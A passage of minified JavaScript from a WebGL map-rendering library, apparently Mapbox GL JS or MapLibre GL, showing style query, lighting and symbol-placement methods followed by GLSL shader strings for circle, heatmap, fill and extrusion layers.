Yr=[],en=this._order.length-1;en>=0;en--){var xn=this._order[en];if(Re(xn))for(var Pn=tt.length-1;Pn>=0;Pn--){var Bn=tt[Pn].feature;if(He[Bn.layer.id]<en)break;Yr.push(Bn),tt.pop()}else for(var Un=0,Nn=$;Un<Nn.length;Un+=1){var jn=Nn[Un],na=jn[xn];if(na)for(var ra=0,sa=na;ra<sa.length;ra+=1){var ha=sa[ra];Yr.push(ha.feature)}}}return Yr},H.prototype.queryRenderedFeatures=function($,ve,Re){ve&&ve.filter&&this._validate(o.validateStyle.filter,"queryRenderedFeatures.filter",ve.filter,null,ve);var He={};if(ve&&ve.layers){if(!Array.isArray(ve.layers))return this.fire(new o.ErrorEvent(new Error("parameters.layers must be an Array."))),[];for(var tt=0,ht=ve.layers;tt<ht.length;tt+=1){var Dt=ht[tt],Wt=this._layers[Dt];if(!Wt)return this.fire(new o.ErrorEvent(new Error("The layer '"+Dt+"' does not exist in the map's style and cannot be queried for features."))),[];He[Wt.source]=!0}}var ar=[];ve.availableImages=this._availableImages;for(var hr in this.sourceCaches)ve.layers&&!He[hr]||ar.push(j(this.sourceCaches[hr],this._layers,this._serializedLayers,$,ve,Re));return this.placement&&ar.push(K(this._layers,this._serializedLayers,this.sourceCaches,$,ve,this.placement.collisionIndex,this.placement.retainedQueryData)),this._flattenAndSortRenderedFeatures(ar)},H.prototype.querySourceFeatures=function($,ve){ve&&ve.filter&&this._validate(o.validateStyle.filter,"querySourceFeatures.filter",ve.filter,null,ve);var Re=this.sourceCaches[$];return Re?oe(Re,ve):[]},H.prototype.addSourceType=function($,ve,Re){if(H.getSourceType($))return Re(new Error('A source type called "'+$+'" already exists.'));if(H.setSourceType($,ve),!ve.workerSourceURL)return Re(null,null);this.dispatcher.broadcast("loadWorkerSource",{name:$,url:ve.workerSourceURL},Re)},H.prototype.getLight=function(){return this.light.getLight()},H.prototype.setLight=function($,ve){ve===void 0&&(ve={}),this._checkLoaded();var Re=this.light.getLight(),He=!1;for(var tt in $)if(!o.deepEqual($[tt],Re[tt])){He=!0;break}if(He){var ht={now:o.browser.now(),transition:o.extend({duration:300,delay:0},this.stylesheet.transition)};this.light.setLight($,ve),this.light.updateTransitions(ht)}},H.prototype._validate=function($,ve,Re,He,tt){return tt===void 0&&(tt={}),tt&&tt.validate===!1?!1:$n(this,$.call(o.validateStyle,o.extend({key:ve,style:this.serialize(),value:Re,styleSpec:o.styleSpec},He)))},H.prototype._remove=function(){this._request&&(this._request.cancel(),this._request=null),this._spriteRequest&&(this._spriteRequest.cancel(),this._spriteRequest=null),o.evented.off("pluginStateChange",this._rtlTextPluginCallback);for(var $ in this._layers){var ve=this._layers[$];ve.setEventedParent(null)}for(var Re in this.sourceCaches)this.sourceCaches[Re].clearTiles(),this.sourceCaches[Re].setEventedParent(null);this.imageManager.setEventedParent(null),this.setEventedParent(null),this.dispatcher.remove()},H.prototype._clearSource=function($){this.sourceCaches[$].clearTiles()},H.prototype._reloadSource=function($){this.sourceCaches[$].resume(),this.sourceCaches[$].reload()},H.prototype._updateSources=function($){for(var ve in this.sourceCaches)this.sourceCaches[ve].update($)},H.prototype._generateCollisionBoxes=function(){for(var $ in this.sourceCaches)this._reloadSource($)},H.prototype._updatePlacement=function($,ve,Re,He,tt){tt===void 0&&(tt=!1);for(var ht=!1,Dt=!1,Wt={},ar=0,hr=this._order;ar<hr.length;ar+=1){var Er=hr[ar],Fr=this._layers[Er];if(Fr.type==="symbol"){if(!Wt[Fr.source]){var Or=this.sourceCaches[Fr.source];Wt[Fr.source]=Or.getRenderableIds(!0).map(function(Un){return Or.getTileByID(Un)}).sort(function(Un,Nn){return Nn.tileID.overscaledZ-Un.tileID.overscaledZ||(Un.tileID.isLessThan(Nn.tileID)?-1:1)})}var zr=this.crossTileSymbolIndex.addLayer(Fr,Wt[Fr.source],$.center.lng);ht=ht||zr}}if(this.crossTileSymbolIndex.pruneUnusedLayers(this._order),tt=tt||this._layerOrderChanged||Re===0,(tt||!this.pauseablePlacement||this.pauseablePlacement.isDone()&&!this.placement.stillRecent(o.browser.now(),$.zoom))&&(this.pauseablePlacement=new On($,this._order,tt,ve,Re,He,this.placement),this._layerOrderChanged=!1),this.pauseablePlacement.isDone()?this.placement.setStale():(this.pauseablePlacement.continuePlacement(this._order,this._layers,Wt),this.pauseablePlacement.isDone()&&(this.placement=this.pauseablePlacement.commit(o.browser.now()),Dt=!0),ht&&this.pauseablePlacement.placement.setStale()),Dt||ht)for(var Yr=0,en=this._order;Yr<en.length;Yr+=1){var xn=en[Yr],Pn=this._layers[xn];Pn.type==="symbol"&&this.placement.updateLayerOpacities(Pn,Wt[Pn.source])}var Bn=!this.pauseablePlacement.isDone()||this.placement.hasTransitions(o.browser.now());return Bn},H.prototype._releaseSymbolFadeTiles=function(){for(var $ in this.sourceCaches)this.sourceCaches[$].releaseSymbolFadeTiles()},H.prototype.getImages=function($,ve,Re){this.imageManager.getImages(ve.icons,Re),this._updateTilesForChangedImages();var He=this.sourceCaches[ve.source];He&&He.setDependencies(ve.tileID.key,ve.type,ve.icons)},H.prototype.getGlyphs=function($,ve,Re){this.glyphManager.getGlyphs(ve.stacks,Re)},H.prototype.getResource=function($,ve,Re){return o.makeRequest(ve,Re)},H}(o.Evented);Xi.getSourceType=V,Xi.setSourceType=Y,Xi.registerForPluginStateChange=o.registerForPluginStateChange;var qi=o.createLayout([{name:"a_pos",type:"Int16",components:2}]),ji=`#ifdef GL_ES
precision mediump float;
#else
#if !defined(lowp)
#define lowp
#endif
#if !defined(mediump)
#define mediump
#endif
#if !defined(highp)
#define highp
#endif
#endif`,Gl=`#ifdef GL_ES
precision highp float;
#else
#if !defined(lowp)
#define lowp
#endif
#if !defined(mediump)
#define mediump
#endif
#if !defined(highp)
#define highp
#endif
#endif
vec2 unpack_float(const float packedValue) {int packedIntValue=int(packedValue);int v0=packedIntValue/256;return vec2(v0,packedIntValue-v0*256);}vec2 unpack_opacity(const float packedOpacity) {int intOpacity=int(packedOpacity)/2;return vec2(float(intOpacity)/127.0,mod(packedOpacity,2.0));}vec4 decode_color(const vec2 encodedColor) {return vec4(unpack_float(encodedColor[0])/255.0,unpack_float(encodedColor[1])/255.0
);}float unpack_mix_vec2(const vec2 packedValue,const float t) {return mix(packedValue[0],packedValue[1],t);}vec4 unpack_mix_color(const vec4 packedColors,const float t) {vec4 minColor=decode_color(vec2(packedColors[0],packedColors[1]));vec4 maxColor=decode_color(vec2(packedColors[2],packedColors[3]));return mix(minColor,maxColor,t);}vec2 get_pattern_pos(const vec2 pixel_coord_upper,const vec2 pixel_coord_lower,const vec2 pattern_size,const float tile_units_to_pixels,const vec2 pos) {vec2 offset=mod(mod(mod(pixel_coord_upper,pattern_size)*256.0,pattern_size)*256.0+pixel_coord_lower,pattern_size);return (tile_units_to_pixels*pos+offset)/pattern_size;}`,Ga=`uniform vec4 u_color;uniform float u_opacity;void main() {gl_FragColor=u_color*u_opacity;
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,js="attribute vec2 a_pos;uniform mat4 u_matrix;void main() {gl_Position=u_matrix*vec4(a_pos,0,1);}",Rs=`uniform vec2 u_pattern_tl_a;uniform vec2 u_pattern_br_a;uniform vec2 u_pattern_tl_b;uniform vec2 u_pattern_br_b;uniform vec2 u_texsize;uniform float u_mix;uniform float u_opacity;uniform sampler2D u_image;varying vec2 v_pos_a;varying vec2 v_pos_b;void main() {vec2 imagecoord=mod(v_pos_a,1.0);vec2 pos=mix(u_pattern_tl_a/u_texsize,u_pattern_br_a/u_texsize,imagecoord);vec4 color1=texture2D(u_image,pos);vec2 imagecoord_b=mod(v_pos_b,1.0);vec2 pos2=mix(u_pattern_tl_b/u_texsize,u_pattern_br_b/u_texsize,imagecoord_b);vec4 color2=texture2D(u_image,pos2);gl_FragColor=mix(color1,color2,u_mix)*u_opacity;
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,Ii="uniform mat4 u_matrix;uniform vec2 u_pattern_size_a;uniform vec2 u_pattern_size_b;uniform vec2 u_pixel_coord_upper;uniform vec2 u_pixel_coord_lower;uniform float u_scale_a;uniform float u_scale_b;uniform float u_tile_units_to_pixels;attribute vec2 a_pos;varying vec2 v_pos_a;varying vec2 v_pos_b;void main() {gl_Position=u_matrix*vec4(a_pos,0,1);v_pos_a=get_pattern_pos(u_pixel_coord_upper,u_pixel_coord_lower,u_scale_a*u_pattern_size_a,u_tile_units_to_pixels,a_pos);v_pos_b=get_pattern_pos(u_pixel_coord_upper,u_pixel_coord_lower,u_scale_b*u_pattern_size_b,u_tile_units_to_pixels,a_pos);}",eo=`varying vec3 v_data;
#pragma mapbox: define highp vec4 color
#pragma mapbox: define mediump float radius
#pragma mapbox: define lowp float blur
#pragma mapbox: define lowp float opacity
#pragma mapbox: define highp vec4 stroke_color
#pragma mapbox: define mediump float stroke_width
#pragma mapbox: define lowp float stroke_opacity
void main() {
#pragma mapbox: initialize highp vec4 color
#pragma mapbox: initialize mediump float radius
#pragma mapbox: initialize lowp float blur
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize highp vec4 stroke_color
#pragma mapbox: initialize mediump float stroke_width
#pragma mapbox: initialize lowp float stroke_opacity
vec2 extrude=v_data.xy;float extrude_length=length(extrude);lowp float antialiasblur=v_data.z;float antialiased_blur=-max(blur,antialiasblur);float opacity_t=smoothstep(0.0,antialiased_blur,extrude_length-1.0);float color_t=stroke_width < 0.01 ? 0.0 : smoothstep(antialiased_blur,0.0,extrude_length-radius/(radius+stroke_width));gl_FragColor=opacity_t*mix(color*opacity,stroke_color*stroke_opacity,color_t);
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,bu=`uniform mat4 u_matrix;uniform bool u_scale_with_map;uniform bool u_pitch_with_map;uniform vec2 u_extrude_scale;uniform lowp float u_device_pixel_ratio;uniform highp float u_camera_to_center_distance;attribute vec2 a_pos;varying vec3 v_data;
#pragma mapbox: define highp vec4 color
#pragma mapbox: define mediump float radius
#pragma mapbox: define lowp float blur
#pragma mapbox: define lowp float opacity
#pragma mapbox: define highp vec4 stroke_color
#pragma mapbox: define mediump float stroke_width
#pragma mapbox: define lowp float stroke_opacity
void main(void) {
#pragma mapbox: initialize highp vec4 color
#pragma mapbox: initialize mediump float radius
#pragma mapbox: initialize lowp float blur
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize highp vec4 stroke_color
#pragma mapbox: initialize mediump float stroke_width
#pragma mapbox: initialize lowp float stroke_opacity
vec2 extrude=vec2(mod(a_pos,2.0)*2.0-1.0);vec2 circle_center=floor(a_pos*0.5);if (u_pitch_with_map) {vec2 corner_position=circle_center;if (u_scale_with_map) {corner_position+=extrude*(radius+stroke_width)*u_extrude_scale;} else {vec4 projected_center=u_matrix*vec4(circle_center,0,1);corner_position+=extrude*(radius+stroke_width)*u_extrude_scale*(projected_center.w/u_camera_to_center_distance);}gl_Position=u_matrix*vec4(corner_position,0,1);} else {gl_Position=u_matrix*vec4(circle_center,0,1);if (u_scale_with_map) {gl_Position.xy+=extrude*(radius+stroke_width)*u_extrude_scale*u_camera_to_center_distance;} else {gl_Position.xy+=extrude*(radius+stroke_width)*u_extrude_scale*gl_Position.w;}}lowp float antialiasblur=1.0/u_device_pixel_ratio/(radius+stroke_width);v_data=vec3(extrude.x,extrude.y,antialiasblur);}`,Ks="void main() {gl_FragColor=vec4(1.0);}",gi="attribute vec2 a_pos;uniform mat4 u_matrix;void main() {gl_Position=u_matrix*vec4(a_pos,0,1);}",Js=`uniform highp float u_intensity;varying vec2 v_extrude;
#pragma mapbox: define highp float weight
#define GAUSS_COEF 0.3989422804014327
void main() {
#pragma mapbox: initialize highp float weight
float d=-0.5*3.0*3.0*dot(v_extrude,v_extrude);float val=weight*u_intensity*GAUSS_COEF*exp(d);gl_FragColor=vec4(val,1.0,1.0,1.0);
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,oo=`uniform mat4 u_matrix;uniform float u_extrude_scale;uniform float u_opacity;uniform float u_intensity;attribute vec2 a_pos;varying vec2 v_extrude;
#pragma mapbox: define highp float weight
#pragma mapbox: define mediump float radius
const highp float ZERO=1.0/255.0/16.0;
#define GAUSS_COEF 0.3989422804014327
void main(void) {
#pragma mapbox: initialize highp float weight
#pragma mapbox: initialize mediump float radius
vec2 unscaled_extrude=vec2(mod(a_pos,2.0)*2.0-1.0);float S=sqrt(-2.0*log(ZERO/weight/u_intensity/GAUSS_COEF))/3.0;v_extrude=S*unscaled_extrude;vec2 extrude=v_extrude*radius*u_extrude_scale;vec4 pos=vec4(floor(a_pos*0.5)+extrude,0,1);gl_Position=u_matrix*pos;}`,Li=`uniform sampler2D u_image;uniform sampler2D u_color_ramp;uniform float u_opacity;varying vec2 v_pos;void main() {float t=texture2D(u_image,v_pos).r;vec4 color=texture2D(u_color_ramp,vec2(t,0.5));gl_FragColor=color*u_opacity;
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(0.0);
#endif
}`,so="uniform mat4 u_matrix;uniform vec2 u_world;attribute vec2 a_pos;varying vec2 v_pos;void main() {gl_Position=u_matrix*vec4(a_pos*u_world,0,1);v_pos.x=a_pos.x;v_pos.y=1.0-a_pos.y;}",Wi="varying float v_placed;varying float v_notUsed;void main() {float alpha=0.5;gl_FragColor=vec4(1.0,0.0,0.0,1.0)*alpha;if (v_placed > 0.5) {gl_FragColor=vec4(0.0,0.0,1.0,0.5)*alpha;}if (v_notUsed > 0.5) {gl_FragColor*=.1;}}",ho="attribute vec2 a_pos;attribute vec2 a_anchor_pos;attribute vec2 a_extrude;attribute vec2 a_placed;attribute vec2 a_shift;uniform mat4 u_matrix;uniform vec2 u_extrude_scale;uniform float u_camera_to_center_distance;varying float v_placed;varying float v_notUsed;void main() {vec4 projectedPoint=u_matrix*vec4(a_anchor_pos,0,1);highp float camera_to_anchor_distance=projectedPoint.w;highp float collision_perspective_ratio=clamp(0.5+0.5*(u_camera_to_center_distance/camera_to_anchor_distance),0.0,4.0);gl_Position=u_matrix*vec4(a_pos,0.0,1.0);gl_Position.xy+=(a_extrude+a_shift)*u_extrude_scale*gl_Position.w*collision_perspective_ratio;v_placed=a_placed.x;v_notUsed=a_placed.y;}",Ro="varying float v_radius;varying vec2 v_extrude;varying float v_perspective_ratio;varying float v_collision;void main() {float alpha=0.5*min(v_perspective_ratio,1.0);float stroke_radius=0.9*max(v_perspective_ratio,1.0);float distance_to_center=length(v_extrude);float distance_to_edge=abs(distance_to_center-v_radius);float opacity_t=smoothstep(-stroke_radius,0.0,-distance_to_edge);vec4 color=mix(vec4(0.0,0.0,1.0,0.5),vec4(1.0,0.0,0.0,1.0),v_collision);gl_FragColor=color*alpha*opacity_t;}",Go="attribute vec2 a_pos;attribute float a_radius;attribute vec2 a_flags;uniform mat4 u_matrix;uniform mat4 u_inv_matrix;uniform vec2 u_viewport_size;uniform float u_camera_to_center_distance;varying float v_radius;varying vec2 v_extrude;varying float v_perspective_ratio;varying float v_collision;vec3 toTilePosition(vec2 screenPos) {vec4 rayStart=u_inv_matrix*vec4(screenPos,-1.0,1.0);vec4 rayEnd  =u_inv_matrix*vec4(screenPos, 1.0,1.0);rayStart.xyz/=rayStart.w;rayEnd.xyz  /=rayEnd.w;highp float t=(0.0-rayStart.z)/(rayEnd.z-rayStart.z);return mix(rayStart.xyz,rayEnd.xyz,t);}void main() {vec2 quadCenterPos=a_pos;float radius=a_radius;float collision=a_flags.x;float vertexIdx=a_flags.y;vec2 quadVertexOffset=vec2(mix(-1.0,1.0,float(vertexIdx >=2.0)),mix(-1.0,1.0,float(vertexIdx >=1.0 && vertexIdx <=2.0)));vec2 quadVertexExtent=quadVertexOffset*radius;vec3 tilePos=toTilePosition(quadCenterPos);vec4 clipPos=u_matrix*vec4(tilePos,1.0);highp float camera_to_anchor_distance=clipPos.w;highp float collision_perspective_ratio=clamp(0.5+0.5*(u_camera_to_center_distance/camera_to_anchor_distance),0.0,4.0);float padding_factor=1.2;v_radius=radius;v_extrude=quadVertexExtent*padding_factor;v_perspective_ratio=collision_perspective_ratio;v_collision=collision;gl_Position=vec4(clipPos.xyz/clipPos.w,1.0)+vec4(quadVertexExtent*padding_factor/u_viewport_size*2.0,0.0,0.0);}",zi="uniform highp vec4 u_color;uniform sampler2D u_overlay;varying vec2 v_uv;void main() {vec4 overlay_color=texture2D(u_overlay,v_uv);gl_FragColor=mix(u_color,overlay_color,overlay_color.a);}",wu="attribute vec2 a_pos;varying vec2 v_uv;uniform mat4 u_matrix;uniform float u_overlay_scale;void main() {v_uv=a_pos/8192.0;gl_Position=u_matrix*vec4(a_pos*u_overlay_scale,0,1);}",Do=`#pragma mapbox: define highp vec4 color
#pragma mapbox: define lowp float opacity
void main() {
#pragma mapbox: initialize highp vec4 color
#pragma mapbox: initialize lowp float opacity
gl_FragColor=color*opacity;
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,Fi=`attribute vec2 a_pos;uniform mat4 u_matrix;
#pragma mapbox: define highp vec4 color
#pragma mapbox: define lowp float opacity
void main() {
#pragma mapbox: initialize highp vec4 color
#pragma mapbox: initialize lowp float opacity
gl_Position=u_matrix*vec4(a_pos,0,1);}`,Wl=`varying vec2 v_pos;
#pragma mapbox: define highp vec4 outline_color
#pragma mapbox: define lowp float opacity
void main() {
#pragma mapbox: initialize highp vec4 outline_color
#pragma mapbox: initialize lowp float opacity
float dist=length(v_pos-gl_FragCoord.xy);float alpha=1.0-smoothstep(0.0,1.0,dist);gl_FragColor=outline_color*(alpha*opacity);
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,Wo=`attribute vec2 a_pos;uniform mat4 u_matrix;uniform vec2 u_world;varying vec2 v_pos;
#pragma mapbox: define highp vec4 outline_color
#pragma mapbox: define lowp float opacity
void main() {
#pragma mapbox: initialize highp vec4 outline_color
#pragma mapbox: initialize lowp float opacity
gl_Position=u_matrix*vec4(a_pos,0,1);v_pos=(gl_Position.xy/gl_Position.w+1.0)/2.0*u_world;}`,Io=`uniform vec2 u_texsize;uniform sampler2D u_image;uniform float u_fade;varying vec2 v_pos_a;varying vec2 v_pos_b;varying vec2 v_pos;
#pragma mapbox: define lowp float opacity
#pragma mapbox: define lowp vec4 pattern_from
#pragma mapbox: define lowp vec4 pattern_to
void main() {
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize mediump vec4 pattern_from
#pragma mapbox: initialize mediump vec4 pattern_to
vec2 pattern_tl_a=pattern_from.xy;vec2 pattern_br_a=pattern_from.zw;vec2 pattern_tl_b=pattern_to.xy;vec2 pattern_br_b=pattern_to.zw;vec2 imagecoord=mod(v_pos_a,1.0);vec2 pos=mix(pattern_tl_a/u_texsize,pattern_br_a/u_texsize,imagecoord);vec4 color1=texture2D(u_image,pos);vec2 imagecoord_b=mod(v_pos_b,1.0);vec2 pos2=mix(pattern_tl_b/u_texsize,pattern_br_b/u_texsize,imagecoord_b);vec4 color2=texture2D(u_image,pos2);float dist=length(v_pos-gl_FragCoord.xy);float alpha=1.0-smoothstep(0.0,1.0,dist);gl_FragColor=mix(color1,color2,u_fade)*alpha*opacity;
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,Yl=`uniform mat4 u_matrix;uniform vec2 u_world;uniform vec2 u_pixel_coord_upper;uniform vec2 u_pixel_coord_lower;uniform vec3 u_scale;attribute vec2 a_pos;varying vec2 v_pos_a;varying vec2 v_pos_b;varying vec2 v_pos;
#pragma mapbox: define lowp float opacity
#pragma mapbox: define lowp vec4 pattern_from
#pragma mapbox: define lowp vec4 pattern_to
#pragma mapbox: define lowp float pixel_ratio_from
#pragma mapbox: define lowp float pixel_ratio_to
void main() {
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize mediump vec4 pattern_from
#pragma mapbox: initialize mediump vec4 pattern_to
#pragma mapbox: initialize lowp float pixel_ratio_from
#pragma mapbox: initialize lowp float pixel_ratio_to
vec2 pattern_tl_a=pattern_from.xy;vec2 pattern_br_a=pattern_from.zw;vec2 pattern_tl_b=pattern_to.xy;vec2 pattern_br_b=pattern_to.zw;float tileRatio=u_scale.x;float fromScale=u_scale.y;float toScale=u_scale.z;gl_Position=u_matrix*vec4(a_pos,0,1);vec2 display_size_a=(pattern_br_a-pattern_tl_a)/pixel_ratio_from;vec2 display_size_b=(pattern_br_b-pattern_tl_b)/pixel_ratio_to;v_pos_a=get_pattern_pos(u_pixel_coord_upper,u_pixel_coord_lower,fromScale*display_size_a,tileRatio,a_pos);v_pos_b=get_pattern_pos(u_pixel_coord_upper,u_pixel_coord_lower,toScale*display_size_b,tileRatio,a_pos);v_pos=(gl_Position.xy/gl_Position.w+1.0)/2.0*u_world;}`,Zl=`uniform vec2 u_texsize;uniform float u_fade;uniform sampler2D u_image;varying vec2 v_pos_a;varying vec2 v_pos_b;
#pragma mapbox: define lowp float opacity
#pragma mapbox: define lowp vec4 pattern_from
#pragma mapbox: define lowp vec4 pattern_to
void main() {
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize mediump vec4 pattern_from
#pragma mapbox: initialize mediump vec4 pattern_to
vec2 pattern_tl_a=pattern_from.xy;vec2 pattern_br_a=pattern_from.zw;vec2 pattern_tl_b=pattern_to.xy;vec2 pattern_br_b=pattern_to.zw;vec2 imagecoord=mod(v_pos_a,1.0);vec2 pos=mix(pattern_tl_a/u_texsize,pattern_br_a/u_texsize,imagecoord);vec4 color1=texture2D(u_image,pos);vec2 imagecoord_b=mod(v_pos_b,1.0);vec2 pos2=mix(pattern_tl_b/u_texsize,pattern_br_b/u_texsize,imagecoord_b);vec4 color2=texture2D(u_image,pos2);gl_FragColor=mix(color1,color2,u_fade)*opacity;
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,Qu=`uniform mat4 u_matrix;uniform vec2 u_pixel_coord_upper;uniform vec2 u_pixel_coord_lower;uniform vec3 u_scale;attribute vec2 a_pos;varying vec2 v_pos_a;varying vec2 v_pos_b;
#pragma mapbox: define lowp float opacity
#pragma mapbox: define lowp vec4 pattern_from
#pragma mapbox: define lowp vec4 pattern_to
#pragma mapbox: define lowp float pixel_ratio_from
#pragma mapbox: define lowp float pixel_ratio_to
void main() {
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize mediump vec4 pattern_from
#pragma mapbox: initialize mediump vec4 pattern_to
#pragma mapbox: initialize lowp float pixel_ratio_from
#pragma mapbox: initialize lowp float pixel_ratio_to
vec2 pattern_tl_a=pattern_from.xy;vec2 pattern_br_a=pattern_from.zw;vec2 pattern_tl_b=pattern_to.xy;vec2 pattern_br_b=pattern_to.zw;float tileZoomRatio=u_scale.x;float fromScale=u_scale.y;float toScale=u_scale.z;vec2 display_size_a=(pattern_br_a-pattern_tl_a)/pixel_ratio_from;vec2 display_size_b=(pattern_br_b-pattern_tl_b)/pixel_ratio_to;gl_Position=u_matrix*vec4(a_pos,0,1);v_pos_a=get_pattern_pos(u_pixel_coord_upper,u_pixel_coord_lower,fromScale*display_size_a,tileZoomRatio,a_pos);v_pos_b=get_pattern_pos(u_pixel_coord_upper,u_pixel_coord_lower,toScale*display_size_b,tileZoomRatio,a_pos);}`,Qs=`varying vec4 v_color;void main() {gl_FragColor=v_color;
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,$u=`uniform mat4 u_matrix;uniform vec3 u_lightcolor;uniform lowp vec3 u_lightpos;uniform lowp float u_lightintensity;uniform float u_vertical_gradient;uniform lowp float u_opacity;attribute vec2 a_pos;attribute vec4 a_normal_ed;varying vec4 v_color;
#pragma mapbox: define highp float base
#pragma mapbox: define highp float height
#pragma mapbox: define highp vec4 color
void main() {
#pragma mapbox: initialize highp float base
#pragma mapbox: initialize highp float height
#pragma mapbox: initialize highp vec4 color
vec3 normal=a_normal_ed.xyz;base=max(0.0,base);height=max(0.0,height);float t=mod(normal.x,2.0);gl_Position=u_matrix*vec4(a_pos,t > 0.0 ? height : base,1);float colorvalue=color.r*0.2126+color.g*0.7152+color.b*0.0722;v_color=vec4(0.0,0.0,0.0,1.0);vec4 ambientlight=vec4(0.03,0.03,0.03,1.0);color+=ambientlight;float directional=clamp(dot(normal/16384.0,u_lightpos),0.0,1.0);directional=mix((1.0-u_lightintensity),max((1.0-colorvalue+u_lightintensity),1.0),directional);if (normal.y !=0.0) {directional*=((1.0-u_vertical_gradient)+(u_vertical_gradient*clamp((t+base)*pow(height/150.0,0.5),mix(0.7,0.98,1.0-u_lightintensity),1.0)));}v_color.r+=clamp(color.r*directional*u_lightcolor.r,mix(0.0,0.3,1.0-u_lightcolor.r),1.0);v_color.g+=clamp(color.g*directional*u_lightcolor.g,mix(0.0,0.3,1.0-u_lightcolor.g),1.0);v_color.b+=clamp(color.b*directional*u_lightcolor.b,mix(0.0,0.3,1.0-u_lightcolor.b),1.0);v_color*=u_opacity;}`,qu=`uniform vec2 u_texsize;uniform float u_fade;uniform sampler2D u_image;varying vec2 v_pos_a;varying vec2 v_pos_b;varying vec4 v_lighting;
#pragma mapbox: define lowp float base
#pragma mapbox: define lowp float height
#pragma mapbox: define lowp vec4 pattern_from
#pragma mapbox: define lowp vec4 pattern_to
#pragma mapbox: define lowp float pixel_ratio_from
#pragma mapbox: define lowp float pixel_ratio_to
void main() {
#pragma mapbox: initialize lowp float base
#pragma mapbox: initialize lowp float height
#pragma mapbox: initialize mediump vec4 pattern_from
#pragma mapbox: initialize mediump vec4 pattern_to
#pragma mapbox: initialize lowp float pixel_ratio_from
#pragma mapbox: initialize lowp float pixel_ratio_to
vec2 pattern_tl_a=pattern_from.xy;vec2 pattern_br_a=pattern_from.zw;vec2 pattern_tl_b=pattern_to.xy;vec2 pattern_br_b=pattern_to.zw;vec2 imagecoord=mod(v_pos_a,1.0);vec2 pos=mix(pattern_tl_a/u_texsize,pattern_br_a/u_texsize,imagecoord);vec4 color1=texture2D(u_image,pos);vec2 imagecoord_b=mod(v_pos_b,1.0);vec2 pos2=mix(pattern_tl_b/u_texsize,pattern_br_b/u_texsize,imagecoord_b);vec4 color2=texture2D(u_image,pos2);vec4 mixedColor=mix(color1,color2,u_fade);gl_FragColor=mixedColor*v_lighting;
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,ef=`uniform mat4 u_matrix;uniform vec2 u_pixel_coord_upper;uniform vec2 u_pixel_coord_lower;uniform float u_height_factor;uniform vec3 u_scale;uniform float u_vertical_gradient;uniform lowp float u_opacity;uniform vec3 u_lightcolor;uniform lowp vec3 u_lightpos;uniform lowp float u_lightintensity;attribute vec2 a_pos;attribute vec4 a_normal_ed;varying vec2 v_pos_a;varying vec2 v_pos_b;varying vec4 v_lighting;
#pragma mapbox: define lowp float base
#pragma mapbox: define lowp float height
#pragma mapbox: define lowp vec4 pattern_from
#pragma mapbox: define lowp vec4 pattern_to
#pragma mapbox: define lowp float pixel_ratio_from
#pragma mapbox: define lowp float pixel_ratio_to
void main() {
#pragma mapbox: initialize lowp float base
#pragma mapbox: initialize lowp float height
#pragma mapbox: initialize mediump vec4 pattern_from
#pragma mapbox: initialize mediump vec4 pattern_to
#pragma mapbox: initialize lowp float pixel_ratio_from
#pragma mapbox: initialize lowp float pixel_ratio_to
vec2 pattern_tl_a=pattern_from.xy;vec2 pattern_br_a=pattern_from.zw;vec2 pattern_tl_b=pattern_to.xy;vec2 pattern_br_b=pattern_to.zw;float tileRatio=u_scale.x;float fromScale=u_scale.y;float toScale=u_scale.z;vec3 normal=a_normal_ed.xyz;float edgedistance=a_normal_ed.w;vec2 display_size_a=(pattern_br_a-pattern_tl_a)/pixel_ratio_from;vec2 display_size_b=(pattern_br_b-pattern_tl_b)/pixel_ratio_to;base=max(0.0,base);height=max(0.0,height);float t=mod(normal.x,2.0);float z=t > 0.0 ? height : base;gl_Position=u_matrix*vec4(a_pos,z,1);vec2 pos=normal.x==1.0 && normal.y==0.0 && normal.z==16384.0
? a_pos
: vec2(edgedistance,z*u_height_factor);v_pos_a=get_pattern_pos(u_pixel_coord_upper,u_pixel_coord_lower,fromScale*display_size_a,tileRatio,pos);v_pos_b=get_pattern_pos(u_pixel_coord_upper,u_pixel_coord_lower,toScale*display_size_b,tileRatio,pos);v_lighting=vec4(0.0,0.0,0.0,1.0);float directional=clamp(dot(normal/16383.0,u_lightpos),0.0,1.0);directional=mix((1.0-u_lightintensity),max((0.5+u_lightintensity),1.0),directional);if (normal.y !=0.0) {directional*=((1.0-u_vertical_gradient)+(u_vertical_gradient*clamp((t+base)*pow(height/150.0,0.5),mix(0.7,0.98,1.0-u_lightintensity),1.0)));}v_lighting.rgb+=clamp(directional*u_lightcolor,mix(vec3(0.0),vec3(0.3),1.0-u_lightcolor),vec3(1.0));v_lighting*=u_opacity;}`,Xl=`#ifdef GL_ES
precision highp float;
#endif
